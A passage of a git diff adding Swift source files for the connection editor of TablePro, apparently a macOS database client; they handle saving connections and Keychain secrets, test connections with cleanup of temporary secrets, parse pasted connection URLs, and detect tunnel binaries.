refreshed.promptForPassword + next.credentials.passwordSource = refreshed.passwordSource + next.credentials.storedPasswordState = storage.passwordState(for: refreshed.id) + next.credentials.password = storage.loadPassword(for: refreshed.id) ?? "" + } + unreadableSecretKeys.formUnion(reads.unreadable) + loadedSecrets.merge(reads.loaded) { _, fresh in fresh } + } + commit(next) + } + + // Storage turns a deleted profile's links inline with its secrets: adopt that. A profile never on this Mac stays linked. + func sshProfilesDidChange() { + refreshContext() + guard !context.sshProfilesLoadFailed, + let profileId = draft.ssh.profileId, + context.sshProfile(profileId) == nil, + !isNew, + let refreshed = storage.loadConnection(id: connectionId), + !refreshed.isLinked(toSSHProfile: profileId), + case .inline(let config) = refreshed.sshTunnelMode + else { return } + var next = draft + next.ssh.profileId = nil + next.ssh.profileSnapshot = nil + next.ssh.populateFields(from: config, configEntries: context.sshConfigEntries) + let reads = storage.recordingSecretReads { + next.ssh.storedPasswordState = storage.sshPasswordState(for: connectionId) + next.ssh.storedKeyPassphraseState = storage.keyPassphraseState(for: connectionId) + next.ssh.password = storage.loadSSHPassword(for: connectionId) ?? "" + next.ssh.keyPassphrase = storage.loadKeyPassphrase(for: connectionId) ?? "" + next.ssh.totpSecret = storage.loadTOTPSecret(for: connectionId) ?? "" + } + unreadableSecretKeys.formUnion(reads.unreadable) + loadedSecrets.merge(reads.loaded) { _, fresh in fresh } + commit(next) + } + + // The baseline stays where load put it: moving it would make every untouched field look edited and revert the change. + func connectionDidUpdate(_ id: UUID?) { + guard !isClosing, !isNew, id == nil || id == connectionId else { return } + if !storage.isLibraryUnreadable, storage.loadConnection(id: connectionId) == nil { + isRecordMissing = true + cancelTest() + } + refreshContext() + } + + // MARK: - Detection + + // Runs when the transport is picked, for a new connection as much as a stored one. + func startBinaryDetectionIfNeeded() { + if draft.transport == .cloudflare, cloudflaredDetection == .notChecked { + detectCloudflared() + } + if draft.transport == .cloudSQLProxy, cloudSQLProxyDetection == .notChecked { + detectCloudSQLProxy() + } + } + + func detectCloudflared() { + cloudflaredDetection = .checking + Task { [weak self] in + let path = await Task.detached { CLIExecutableFinder.findExecutable("cloudflared") }.value + self?.cloudflaredDetection = path.map(BinaryDetection.found) ?? .notFound + } + } + + func detectCloudSQLProxy() { + cloudSQLProxyDetection = .checking + let binaryManager = cloudSQLProxyDownload.binaryManager + Task { [weak self] in + let found = await Task.detached { CLIExecutableFinder.findExecutable("cloud-sql-proxy") }.value + var path = found + if path == nil, await binaryManager.installedBinaryIsCurrent() { + path = binaryManager.binaryExecutablePath + } + self?.cloudSQLProxyDetection = path.map(BinaryDetection.found) ?? .notFound + } + } + + // A connect or a Test can download the binary too, so this follows the shared download. + func cloudSQLProxyDownloadDidChange(_ phase: CloudSQLProxyDownload.Phase) { + cloudSQLProxyDownloadPhase = phase + if phase == .idle, wasDownloadingCloudSQLProxy { + detectCloudSQLProxy() + } + wasDownloadingCloudSQLProxy = phase.isDownloading + } + + func downloadCloudSQLProxy() { + cloudSQLProxyDownload.start() + } + + func cancelCloudSQLProxyDownload() { + cloudSQLProxyDownload.cancel() + } + + // MARK: - pgpass + + func refreshPgpassStatus() { + guard ConnectionEditorEngine.usesPgpass(draft, traits) else { + pgpassLookup = nil + pgpassStatus = .notChecked + return + } + let lookup = currentPgpassLookup() + guard lookup != pgpassLookup else { return } + pgpassLookup = lookup + pgpassStatus = PgpassStatus.check( + host: lookup.host, + port: lookup.port, + database: lookup.database, + username: lookup.username + ) + } + + private func currentPgpassLookup() -> PgpassLookup { + let host: String + let port: Int + if traits.localSocketIsDirectory, let socket = ConnectionEditorEngine.localSocketEndpoint(draft, traits) { + host = PostgreSQLLocalSocket.pgpassHost(forHost: socket.path) + port = socket.port + } else { + host = PostgreSQLLocalSocket.pgpassHost(forHost: ConnectionEditorEngine.resolvedHost(draft, traits)) + port = ConnectionEditorEngine.resolvedPort(draft, traits) + } + return PgpassLookup( + host: host, + port: port, + database: draft.database, + username: PgpassReader.effectiveUsername(draft.credentials.username.trimmingCharacters(in: .whitespaces)) + ) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift new file mode 100644 index 0000000000..1d4df81198 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift @@ -0,0 +1,242 @@ +// +// ConnectionEditorStore+Save.swift +// TablePro +// + +import Combine +import Foundation +import os +import TableProConnectionLibrary +import TableProPluginKit +import TableProSyncTransport + +enum ConnectionEditorSaveError: Error, Equatable, LocalizedError { + case invalid(FieldIssue) + case libraryUnreadable + case recordMissing + case keychainWriteFailed + case recordWriteFailed + + var errorDescription: String? { + switch self { + case .invalid(let issue): + return issue.message + case .libraryUnreadable: + return String(localized: "TablePro could not read your saved connections, so it did not save over them.") + case .recordMissing: + return String(localized: "This connection was deleted on another device or window. Your changes were not saved.") + case .keychainWriteFailed: + return String(localized: "Could not save this connection's passwords to the Keychain. Your changes were not saved.") + case .recordWriteFailed: + return String(localized: "Could not save the connection. Check disk space and permissions, then try again.") + } + } +} + +extension ConnectionEditorStore { + // The window's default action: a new connection opens once stored, an edited one is only saved. + @discardableResult + func commit() -> Result { + save(connect: isNew) + } + + // Preflight, secrets, record, then deletes; a new id's secrets go again when its record write fails. + @discardableResult + func save(connect: Bool = false) -> Result { + let result = performSave() + switch result { + case .success(let record): + saveError = nil + finishSave(record, connect: connect) + case .failure(let error): + saveError = error + if case .invalid(let issue) = error { + focus(on: issue) + } + } + return result + } + + private func performSave() -> Result { + if let issue = firstBlockingIssue { + return .failure(.invalid(issue)) + } + guard !storage.isLibraryUnreadable else { return .failure(.libraryUnreadable) } + var connections = storage.loadConnections() + guard !storage.lastLoadFailed else { return .failure(.libraryUnreadable) } + + let existingIndex = connections.firstIndex { $0.id == connectionId } + if !isNew, existingIndex == nil { + return .failure(.recordMissing) + } + + let saving = ConnectionEditorEngine.normalized(draft, traits) + let edits = ConnectionEditorEngine.edits(saving, traits, originalTraits: originalTraits, context) + var record: DatabaseConnection + if let existingIndex { + let fresh = connections[existingIndex] + record = edits.applied(to: fresh, since: baselineEdits) + if fresh.groupId != record.groupId { + record.sortOrder = ConnectionStorage.nextSortOrder(in: connections, groupId: record.groupId) + } + } else { + record = edits.applied(to: DatabaseConnection(id: connectionId, name: "")) + record.sortOrder = ConnectionStorage.nextSortOrder(in: connections, groupId: record.groupId) + } + + let plan = ConnectionEditorEngine.secretPlan(saving, traits, originalTraits: originalTraits, context) + let staged = storage.stagingSecretEdits( + for: connectionId, + deviceOnly: !record.participatesInSync, + keeping: unreadableSecretKeys, + unchanged: loadedSecrets + ) { + for write in plan.writes { + writeSecret(write.item, value: write.value, for: connectionId) + } + for item in plan.stagedDeletes { + deleteSecret(item, for: connectionId) + } + } + guard !staged.writeFailed else { + if existingIndex == nil { + removeEverySecret(for: connectionId) + } + return .failure(.keychainWriteFailed) + } + + if let existingIndex { + connections[existingIndex] = record + } else { + connections.append(record) + } + guard storage.saveConnections(connections) else { + if existingIndex == nil { + removeEverySecret(for: connectionId) + } + return .failure(.recordWriteFailed) + } + + storage.applyStagedDeletions(staged) + for item in plan.deletesAfterRecord { + deleteSecret(item, for: connectionId) + } + return .success(record) + } + + private func finishSave(_ record: DatabaseConnection, connect: Bool) { + approveSavedDefinition(record) + if !record.localOnly { + services.syncTracker.markDirty(.connection, id: record.id.uuidString) + } + baseline = draft + baselineEdits = ConnectionEditorEngine.edits(draft, traits, originalTraits: originalTraits, context) + dirtyBaseline = dirtyFingerprint() + hasUnsavedChanges = false + isClosing = true + dismissAction?() + services.appEvents.connectionUpdated.send(record.id) + if connect { + connectToDatabase(record) + } + } + + // A save is the person's word that this Mac's references and sign-in go where the form shows. + private func approveSavedDefinition(_ connection: DatabaseConnection) { + LoadableExtensionApprovalStore.shared.approve(editedExtensions, for: connection.id) + for store in ConnectionApprovalStore.all { + store.approve(connection) + } + } + + // Only an entry added or changed here was chosen on this Mac; an imported list keeps whatever approval it had. + var editedExtensions: [LoadableExtension] { + var edited: [LoadableExtension] = [] + for field in traits.fields where field.content == .loadableExtensions { + let current = (try? LoadableExtensionList.decode(draft.fieldValues[field.id])) ?? [] + let initial = Set((try? LoadableExtensionList.decode(baseline.fieldValues[field.id])) ?? []) + edited += current.filter { !initial.contains($0) } + } + return edited + } + + var removesSyncedSecretsOnSave: Bool { + draft.options.localOnly && context.participatesInSync + } + + // MARK: - Secret I/O + + func writeSecret(_ item: SecretWritePlan.Item, value: String, for id: UUID) { + switch item { + case .password: storage.savePassword(value, for: id) + case .sshPassword: storage.saveSSHPassword(value, for: id) + case .sshKeyPassphrase: storage.saveKeyPassphrase(value, for: id) + case .totpSecret: storage.saveTOTPSecret(value, for: id) + case .sslClientKeyPassphrase: storage.saveSSLClientKeyPassphrase(value, for: id) + case .cloudflareTokenId: storage.saveCloudflareTokenId(value, for: id) + case .cloudflareTokenSecret: storage.saveCloudflareTokenSecret(value, for: id) + case .cloudSQLServiceAccountKey: storage.saveCloudSQLProxyServiceAccountKey(value, for: id) + case .socksPassword: storage.saveSOCKSProxyPassword(value, for: id) + case .pluginField(let fieldId): storage.savePluginSecureField(value, fieldId: fieldId, for: id) + } + } + + func deleteSecret(_ item: SecretWritePlan.Item, for id: UUID) { + switch item { + case .password: storage.deletePassword(for: id) + case .sshPassword: storage.deleteSSHPassword(for: id) + case .sshKeyPassphrase: storage.deleteKeyPassphrase(for: id) + case .totpSecret: storage.deleteTOTPSecret(for: id) + case .sslClientKeyPassphrase: storage.deleteSSLClientKeyPassphrase(for: id) + case .cloudflareTokenId: storage.deleteCloudflareTokenId(for: id) + case .cloudflareTokenSecret: storage.deleteCloudflareTokenSecret(for: id) + case .cloudSQLServiceAccountKey: storage.deleteCloudSQLProxyServiceAccountKey(for: id) + case .socksPassword: storage.deleteSOCKSProxyPassword(for: id) + case .pluginField(let fieldId): storage.deletePluginSecureField(fieldId: fieldId, for: id) + } + } + + // Only for an id no record holds: a new connection whose save did not land. + private func removeEverySecret(for id: UUID) { + let fixed: [SecretWritePlan.Item] = [ + .password, .sshPassword, .sshKeyPassphrase, .totpSecret, .sslClientKeyPassphrase, + .cloudflareTokenId, .cloudflareTokenSecret, .cloudSQLServiceAccountKey, .socksPassword + ] + for item in fixed { + deleteSecret(item, for: id) + } + let fieldIds = ConnectionEditorEngine.secretFieldIds(traits, originalTraits: originalTraits) + storage.deleteAllPluginSecureFields(for: id, fieldIds: Array(fieldIds)) + } + + // MARK: - Connect + + func connectToDatabase(_ connection: DatabaseConnection) { + Task { + do { + try await TabRouter.shared.route(.openConnection(connection.id)) + } catch { + Self.handleConnectError(error, connection: connection) + } + } + } + + static func handleConnectError(_ error: Error, connection: DatabaseConnection) { + if error is CancellationError { + logger.info("Connection attempt cancelled for \(connection.name, privacy: .private(mask: .hash))") + return + } + guard WindowManager.shared.hasOpenWindow(for: connection.id) else { + logger.info("Connection failed after window was closed: \(error.publicLogShape, privacy: .public)") + return + } + WindowManager.shared.closeWindow(for: connection.id) + if case PluginError.pluginNotInstalled = error { + logger.info("Plugin not installed for \(connection.type.rawValue, privacy: .public)") + WelcomeRouter.shared.routePluginInstall(connection) + return + } + logger.error("Failed to connect: \(error.publicLogShape, privacy: .public)") + WelcomeRouter.shared.routeError(error, for: connection) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift new file mode 100644 index 0000000000..a2010ea819 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift @@ -0,0 +1,389 @@ +// +// ConnectionEditorStore+Test.swift +// TablePro +// + +import AppKit +import Combine +import Foundation +import os +import TableProPluginKit +import TableProSSHConfig +import TableProSSHTransport + +enum ConnectionTestState: Equatable { + case idle + case running + case succeeded(ConnectionTestSuccess) + case failed(ConnectionTestFailure) +} + +struct ConnectionTestSuccess: Equatable { + let typeName: String + let serverVersion: String? + let elapsedMilliseconds: Int + let warning: String? + + var summary: String { + if let serverVersion, !serverVersion.isEmpty { + return String( + format: String(localized: "Connected to %1$@ %2$@ in %3$lld ms"), + typeName, serverVersion, Int64(elapsedMilliseconds) + ) + } + return String(format: String(localized: "Connected to %1$@ in %2$lld ms"), typeName, Int64(elapsedMilliseconds)) + } +} + +enum ConnectionTestFailureStep: Equatable { + case tunnel(ConnectionTunnelKind) + case tls + case authentication + case network + case other + + var title: String { + switch self { + case .tunnel(let kind): return kind.displayName + case .tls: return String(localized: "TLS") + case .authentication: return String(localized: "Authentication") + case .network: return String(localized: "Network") + case .other: return String(localized: "Connection") + } + } +} + +struct ConnectionTestFailure: Equatable { + let step: ConnectionTestFailureStep + let message: String + let recoverySuggestion: String? + let recoveryAction: ConnectionRecoveryAction? + let testedConnection: DatabaseConnection? + + var summary: String { + String(format: String(localized: "%@ failed"), step.title) + } +} + +// What a test wrote under its throwaway id, so cleanup deletes exactly that whatever the type is by then. +struct TestSecretReceipt: Equatable { + let testId: UUID + var items: [SecretWritePlan.Item] = [] +} + +struct TestRun { + let id: UUID + let testId: UUID + let fingerprint: ConnectionEditorEngine.TestFingerprint + var task: Task? +} + +extension ConnectionEditorStore { + var isTesting: Bool { testState == .running } + + // The record Save would write, under a throwaway id: same draft, same base, same merge. + func testRecord(testId: UUID) -> DatabaseConnection { + let edits = ConnectionEditorEngine.edits(draft, traits, originalTraits: originalTraits, context) + if !isNew, let fresh = storage.loadConnection(id: connectionId) { + return edits.applied(to: ConnectionEditorEngine.record(fresh, reassignedTo: testId), since: baselineEdits) + } + return edits.applied(to: DatabaseConnection(id: testId, name: "")) + } + + func test() { + guard canTest else { return } + let runId = UUID() + let testId = UUID() + let record = testRecord(testId: testId) + // A linked profile owns the decision, so a profile set to ask every time asks here too. + let prompts = ConnectionCredentialResolver.promptsForPassword(record) + let password = draft.credentials.password + let receipt = persistTestSecrets(for: testId, prompts: prompts) + pendingTestReceipts[testId] = receipt + + let context = TestContext( + runId: runId, + record: record, + password: password, + prompts: prompts, + sshPassword: draft.usesSSHServer && draft.ssh.profileId == nil ? draft.ssh.password : nil, + displayName: draft.name.isEmpty ? draft.host : draft.name, + isAPIToken: traits.connectionMode == .apiOnly, + signInFields: draft.fieldValues, + typeName: traits.displayName + ) + testState = .running + var run = TestRun( + id: runId, + testId: testId, + fingerprint: ConnectionEditorEngine.testFingerprint(draft, traits, originalTraits: originalTraits, self.context) + ) + run.task = Task { [weak self] in + await self?.runTest(context) + } + testRun = run + } + + func cancelTest() { + testRun?.task?.cancel() + testRun = nil + if testState == .running { + testState = .idle + } + } + + // A result belongs to the settings it was earned on; any edit to those settings clears it. + func invalidateStaleTestResult() { + switch testState { + case .succeeded, .failed: + break + case .idle, .running: + return + } + guard let fingerprint = lastTestedFingerprint, + fingerprint != ConnectionEditorEngine.testFingerprint(draft, traits, originalTraits: originalTraits, context) + else { return } + testState = .idle + } + + struct TestContext { + let runId: UUID + let record: DatabaseConnection + let password: String + let prompts: Bool + let sshPassword: String? + let displayName: String + let isAPIToken: Bool + let signInFields: [String: String] + let typeName: String + } + + private func isCurrent(_ runId: UUID) -> Bool { + testRun?.id == runId + } + + private func runTest(_ context: TestContext) async { + let testId = context.record.id + guard await authorizeExtensionsForTest(testConnectionId: testId) else { + endRun(context, testId: testId, state: .idle) + return + } + var passwordOverride: String? + if context.prompts { + if context.password.isEmpty { + passwordOverride = await PasswordPromptHelper.prompt( + connectionName: context.displayName, + isAPIToken: context.isAPIToken, + window: window ?? NSApp.keyWindow + ) + } else { + passwordOverride = context.password + } + guard passwordOverride != nil else { + endRun(context, testId: testId, state: .idle) + return + } + } + + let clock = ContinuousClock() + let start = clock.now + do { + // No sign-in consent: the person is looking at the settings Test signs in with. + let result = try await services.databaseManager.testConnection( + context.record, + sshPassword: context.sshPassword, + passwordOverride: passwordOverride + ) + let elapsed = start.duration(to: clock.now) + let milliseconds = Int(elapsed.components.seconds * 1_000 + elapsed.components.attoseconds / 1_000_000_000_000_000) + if result.succeeded { + if let warning = result.warning { + AccessibilityAnnouncement.post(String(format: String(localized: "Connected with a warning. %@"), warning)) + } + endRun(context, testId: testId, state: .succeeded(ConnectionTestSuccess( + typeName: context.typeName, + serverVersion: nil, + elapsedMilliseconds: milliseconds, + warning: result.warning + ))) + } else { + endRun(context, testId: testId, state: .failed(ConnectionTestFailure( + step: .other, + message: String(localized: "Connection test failed"), + recoverySuggestion: nil, + recoveryAction: nil, + testedConnection: context.record + ))) + } + } catch is CancellationError { + endRun(context, testId: testId, state: .idle) + } catch { + await routeTestFailure(error, context: context) + } + } + + // Cleanup always runs; the state lands only for the run still current, and only on the settings it tested. + private func endRun(_ context: TestContext, testId: UUID, state: ConnectionTestState) { + if let receipt = pendingTestReceipts[testId] { + cleanupTestSecrets(receipt) + } + guard isCurrent(context.runId), let run = testRun else { return } + testRun = nil + lastTestedFingerprint = run.fingerprint + let current = ConnectionEditorEngine.testFingerprint(draft, traits, originalTraits: originalTraits, self.context) + testState = run.fingerprint == current ? state : .idle + } + + // The existing routing: sign-in offer, plugin install, plugin diagnostic, then an inline failure naming its step. + private func routeTestFailure(_ error: Error, context: TestContext) async { + let testId = context.record.id + if let provider = ConnectionSignInRegistry.provider(for: error, fields: context.signInFields) { + endRun(context, testId: testId, state: .idle) + guard !isClosing else { return } + if await ConnectionSignInPrompt.offer(provider, for: error, fields: context.signInFields, window: window ?? NSApp.keyWindow) { + test() + } + return + } + if case PluginError.pluginNotInstalled = error { + endRun(context, testId: testId, state: .idle) + pluginInstallConnection = context.record + return + } + if let item = PluginDiagnosticItem.classify(error: error, connection: context.record, username: context.record.username) { + endRun(context, testId: testId, state: .idle) + pluginDiagnostic = item + return + } + endRun(context, testId: testId, state: .failed(Self.failure(for: error, connection: context.record))) + } + + static func failure(for error: Error, connection: DatabaseConnection) -> ConnectionTestFailure { + let step = failureStep(for: error, transport: connection.activeTunnelKind) + if let action = ConnectionFailureClassifier.recoveryAction(for: error), action != .editConnection { + let info = ConnectionFailureClassifier.info(for: error) + return ConnectionTestFailure( + step: step, + message: [info.message, info.failureReason].compactMap { $0 }.joined(separator: "\n\n"), + recoverySuggestion: info.recoverySuggestion, + recoveryAction: action, + testedConnection: connection + ) + } + return ConnectionTestFailure( + step: step, + message: SSLHandshakeError.formatted(error), + recoverySuggestion: nil, + recoveryAction: nil, + testedConnection: connection + ) + } + + static func failureStep(for error: Error, transport: ConnectionTunnelKind?) -> ConnectionTestFailureStep { + switch error { + case is SSHTunnelError: + return .tunnel(transport ?? .ssh) + case is CloudflareTunnelError: + return .tunnel(.cloudflare) + case is CloudSQLProxyError: + return .tunnel(.cloudSQLProxy) + case is SOCKSProxyError: + return .tunnel(.socksProxy) + case is TunnelCommandError: + return .tunnel(.tunnelCommand) + case is ConnectionTunnelError: + return .tunnel(transport ?? .ssh) + case is SSLHandshakeError, is SSLModeNotSupportedError: + return .tls + case is LocalNetworkAccessError, is ConnectionTimeoutError, is URLError: + return .network + default: + break + } + if ConnectionFailureClassifier.isAuthenticationFailure(error) { + return .authentication + } + let domain = (error as NSError).domain + if domain == NSPOSIXErrorDomain || domain == NSURLErrorDomain { + return .network + } + return .other + } + + func performTestRecovery() { + guard case .failed(let failure) = testState, + let action = failure.recoveryAction, + let connection = failure.testedConnection + else { return } + ConnectionRecoveryPerformer.perform(action, for: connection) + } + + // Test loads extensions for real, so it clears the approval a connect does, lent to the throwaway id. + private func authorizeExtensionsForTest(testConnectionId: UUID) async -> Bool { + let approvals = LoadableExtensionApprovalStore.shared + let ownerId = isNew ? testConnectionId : connectionId + approvals.approve(editedExtensions, for: ownerId) + let owner = testRecord(testId: ownerId) + guard await LoadableExtensionPrompt.confirmIfNeeded(for: owner, approvals: approvals) else { return false } + if ownerId != testConnectionId { + approvals.copyApprovals(from: ownerId, to: testConnectionId) + } + return true + } + + // A test's copies never leave this Mac, whatever the password sync setting says. + private func persistTestSecrets(for testId: UUID, prompts: Bool) -> TestSecretReceipt { + var receipt = TestSecretReceipt(testId: testId) + func write(_ item: SecretWritePlan.Item, _ value: String) { + writeSecret(item, value: value, for: testId) + receipt.items.append(item) + } + let draft = ConnectionEditorEngine.normalized(self.draft, traits) + _ = storage.stagingSecretEdits(for: testId, deviceOnly: true) { + if !draft.credentials.password.isEmpty, !prompts { + write(.password, draft.credentials.password) + } + if draft.usesSSHServer, draft.ssh.profileId == nil { + let ssh = draft.ssh + if (ssh.authMethod == .password || ssh.authMethod == .keyboardInteractive) && !ssh.password.isEmpty { + write(.sshPassword, ssh.password) + } + if ssh.authMethod == .privateKey && !ssh.keyPassphrase.isEmpty { + write(.sshKeyPassphrase, ssh.keyPassphrase) + } + if ssh.totpMode == .autoGenerate && !ssh.totpSecret.isEmpty { + write(.totpSecret, ssh.totpSecret) + } + } + if !draft.ssl.clientKeyPassphrase.isEmpty, + !draft.ssl.clientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty { + write(.sslClientKeyPassphrase, draft.ssl.clientKeyPassphrase) + } + if draft.transport == .cloudflare, draft.cloudflare.authMethod == .serviceToken { + write(.cloudflareTokenId, draft.cloudflare.serviceTokenId) + write(.cloudflareTokenSecret, draft.cloudflare.serviceTokenSecret) + } + if draft.transport == .cloudSQLProxy, draft.cloudSQLProxy.authMode == .serviceAccountKey, + draft.cloudSQLProxy.hasServiceAccountKey { + write(.cloudSQLServiceAccountKey, draft.cloudSQLProxy.serviceAccountKeyJSON) + } + if draft.transport == .socksProxy, !draft.socksProxy.password.isEmpty { + write(.socksPassword, draft.socksProxy.password) + } + for field in traits.fields where field.isSecure { + if let value = draft.fieldValues[field.id], !value.isEmpty { + write(.pluginField(field.id), value) + } + } + } + return receipt + } + + func cleanupTestSecrets(_ receipt: TestSecretReceipt) { + for item in receipt.items { + deleteSecret(item, for: receipt.testId) + } + LoadableExtensionApprovalStore.shared.revoke(for: [receipt.testId]) + pendingTestReceipts.removeValue(forKey: receipt.testId) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+URL.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+URL.swift new file mode 100644 index 0000000000..3303e3fa93 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+URL.swift @@ -0,0 +1,137 @@ +// +// ConnectionEditorStore+URL.swift +// TablePro +// + +import Combine +import Foundation +import TableProConnectionLibrary + +struct PastedURLNotice: Equatable, Identifiable { + let id = UUID() + let changes: [String] + + var message: String { + guard !changes.isEmpty else { return String(localized: "The URL matches this connection.") } + let list = changes.formatted(.list(type: .and)) + return String(format: String(localized: "Filled from the URL: %@."), list) + } +} + +enum PastedURLOutcome: Equatable { + case notAURL + case applied(PastedURLNotice) + case needsRetypeConfirmation(RetypeProposal) +} + +extension ConnectionEditorStore { + static let pasteActionName = String(localized: "Paste Connection URL") + + // Only one change that turns text without a scheme into a whole URL counts; typing never gets there in one step. + static func pastedURL(replacing old: String, with new: String) -> String? { + let trimmed = new.trimmingCharacters(in: .whitespacesAndNewlines) + guard !old.contains("://"), trimmed.contains("://"), new.count - old.count > 1 else { return nil } + guard case .success = ConnectionURLParser.parse(trimmed) else { return nil } + return trimmed + } + + func setHost(_ text: String, undoManager: UndoManager?) { + let restoring = undoManager?.isUndoing == true || undoManager?.isRedoing == true + if !restoring, let url = Self.pastedURL(replacing: draft.host, with: text) { + if case .notAURL = applyPastedURL(url, undoManager: undoManager) { + update { $0.host = text } + } + return + } + update { $0.host = text } + } + + // Import from URL's mapping; a saved connection is never renamed, downgraded or given raw options, and a retype asks. + @discardableResult + func applyPastedURL(_ text: String, undoManager: UndoManager?) -> PastedURLOutcome { + if let undoManager { + self.undoManager = undoManager + } + guard case .success(let parsed) = ConnectionURLParser.parse(text.trimmingCharacters(in: .whitespacesAndNewlines)) else { + return .notAURL + } + let snapshot = draft + if parsed.type != draft.type { + let proposal = proposeRetype(to: parsed.type) + if !isNew, proposal.needsConfirmation { + pendingPastedURL = (parsed, snapshot) + pendingRetype = proposal + return .needsRetypeConfirmation(proposal) + } + return .applied(applyPasted(parsed, snapshot: snapshot, retypeTo: parsed.type)) + } + return .applied(applyPasted(parsed, snapshot: snapshot, retypeTo: nil)) + } + + @discardableResult + func applyPasted(_ parsed: ParsedConnectionURL, snapshot: ConnectionDraft, retypeTo type: DatabaseType?) -> PastedURLNotice { + isApplyingPaste = true + defer { isApplyingPaste = false } + if let type { + retype(to: type) + } + var next = draft + next.apply(parsed, traits: traits, policy: isNew ? .newConnection : .existingConnection, safeModeFloor: safeModeFloor) + commit(next) + let notice = PastedURLNotice(changes: ConnectionDraft.changedValues(from: snapshot, to: draft, traits: traits)) + pastedURLSnapshot = snapshot + pastedURLNotice = notice + registerPasteUndo(restoring: snapshot) + return notice + } + + private func registerPasteUndo(restoring snapshot: ConnectionDraft) { + guard let undoManager else { return } + undoManager.registerUndo(withTarget: self) { store in + MainActor.assumeIsolated { store.restore(snapshot) } + } + undoManager.setActionName(Self.pasteActionName) + } + + // Restores the whole draft, password and type included, and registers the way back. + func restore(_ snapshot: ConnectionDraft) { + let current = draft + if snapshot.type != traits.type { + cancelTest() + traits = ConnectionTypeTraits.live(for: snapshot.type, pluginManager: services.pluginManager) + } + isApplyingPaste = true + commit(snapshot) + isApplyingPaste = false + dismissPastedURLNotice() + if let undoManager { + undoManager.registerUndo(withTarget: self) { store in + MainActor.assumeIsolated { store.restore(current) } + } + undoManager.setActionName(Self.pasteActionName) + } + } + + // The notice's Undo button: the snapshot, whatever the undo stack holds above it. + func undoPastedURL() { + guard let snapshot = pastedURLSnapshot else { return } + undoManager?.removeAllActions(withTarget: self) + restore(snapshot) + } + + func dismissPastedURLNotice() { + pastedURLNotice = nil + pastedURLSnapshot = nil + } + + // MARK: - Copy as URL + + // Built from the stripped edits, with no password of either kind. + func connectionURLForCopy() -> String { + var record = testRecord(testId: connectionId) + let secretIds = ConnectionEditorEngine.secretFieldIds(traits, originalTraits: originalTraits) + record.additionalFields = ConnectionSecretOptions.removingSecrets(from: record.additionalFields) + .filter { !secretIds.contains($0.key) } + return ConnectionURLFormatter.format(record, password: nil, sshPassword: nil, sshProfile: selectedSSHProfile) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift new file mode 100644 index 0000000000..f49f5fb6e5 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift @@ -0,0 +1,255 @@ +// +// ConnectionEditorStore.swift +// TablePro +// + +import AppKit +import Combine +import os +import SwiftUI +import TableProPluginKit +import TableProSSHConfig + +// The only state container of the connection editor. Views read and write the draft through it, never through each other. +@MainActor +final class ConnectionEditorStore: ObservableObject { + nonisolated static let logger = Logger(subsystem: "com.TablePro", category: "ConnectionEditorStore") + + enum Request { + case edit(connectionId: UUID) + case new(type: DatabaseType?, parsedURL: ParsedConnectionURL?) + } + + enum BinaryDetection: Equatable { + case notChecked + case checking + case found(String) + case notFound + } + + enum SSHProfileSheet: Identifiable, Equatable { + case create + case edit(SSHProfile) + case saveCurrent(SSHProfile) + + var id: String { + switch self { + case .create: return "create" + case .edit(let profile): return "edit-\(profile.id.uuidString)" + case .saveCurrent: return "saveCurrent" + } + } + } + + // The id a new connection is saved under, fixed for the window so a retried Save never mints another. + let connectionId: UUID + let isNew: Bool + let services: AppServices + let recentConnections: RecentConnectionsStore + let listPreferences: ConnectionListPreferences + let cloudSQLProxyDownload: CloudSQLProxyDownload + let managedPolicy: any ManagedPolicyReading + + // Written only through update(_:), the edit methods and the binding helpers, which keep everything below in step. + @Published var draft: ConnectionDraft + @Published var traits: ConnectionTypeTraits + @Published var context: EditorContext + @Published var layout: EditorLayout + @Published var issues: [FieldIssue] = [] + @Published var hasUnsavedChanges = false + @Published var selectedFacet: ConnectionFacet = .general + @Published var focusRequest: FocusRequest? + + @Published var isRecordMissing = false + @Published var isLibraryUnreadable = false + + @Published var testState: ConnectionTestState = .idle + @Published var pluginInstallConnection: DatabaseConnection? + @Published var pluginDiagnostic: PluginDiagnosticItem? + + @Published var isChoosingType = false + @Published var pendingRetype: RetypeProposal? + @Published var sshProfileSheet: SSHProfileSheet? + @Published var isSavingCredentialsAsProfile = false + @Published var saveError: ConnectionEditorSaveError? + @Published var deleteError: ConnectionEditorDeleteError? + + @Published var cloudflaredDetection: BinaryDetection = .notChecked + @Published var cloudSQLProxyDetection: BinaryDetection = .notChecked + @Published var cloudSQLProxyDownloadPhase: CloudSQLProxyDownload.Phase = .idle + @Published var cloudflareSignInError: String? + @Published var isCloudflareSignInRunning = false + @Published var pgpassStatus: PgpassStatus = .notChecked + @Published var pastedURLNotice: PastedURLNotice? + + // Fixed at load: the merge's base. A connectionUpdated event never moves it. + var baseline: ConnectionDraft + var baselineEdits: ConnectionFormEdits? + var originalTraits: ConnectionTypeTraits? + var dirtyBaseline: ConnectionEditorEngine.TestFingerprint? + + // Keys a load could not read are never deleted; values it read are not written back unchanged. + var unreadableSecretKeys: Set = [] + var loadedSecrets: [String: String] = [:] + + var testRun: TestRun? + var lastTestedFingerprint: ConnectionEditorEngine.TestFingerprint? + var pendingTestReceipts: [UUID: TestSecretReceipt] = [:] + var pendingPastedURL: (parsed: ParsedConnectionURL, snapshot: ConnectionDraft)? + var pastedURLSnapshot: ConnectionDraft? + var isApplyingPaste = false + var pgpassLookup: PgpassLookup? + var cloudflareLogin: CloudflareAccessLogin? + var wasDownloadingCloudSQLProxy = false + var isClosing = false + var cancellables: Set = [] + + weak var window: NSWindow? + weak var undoManager: 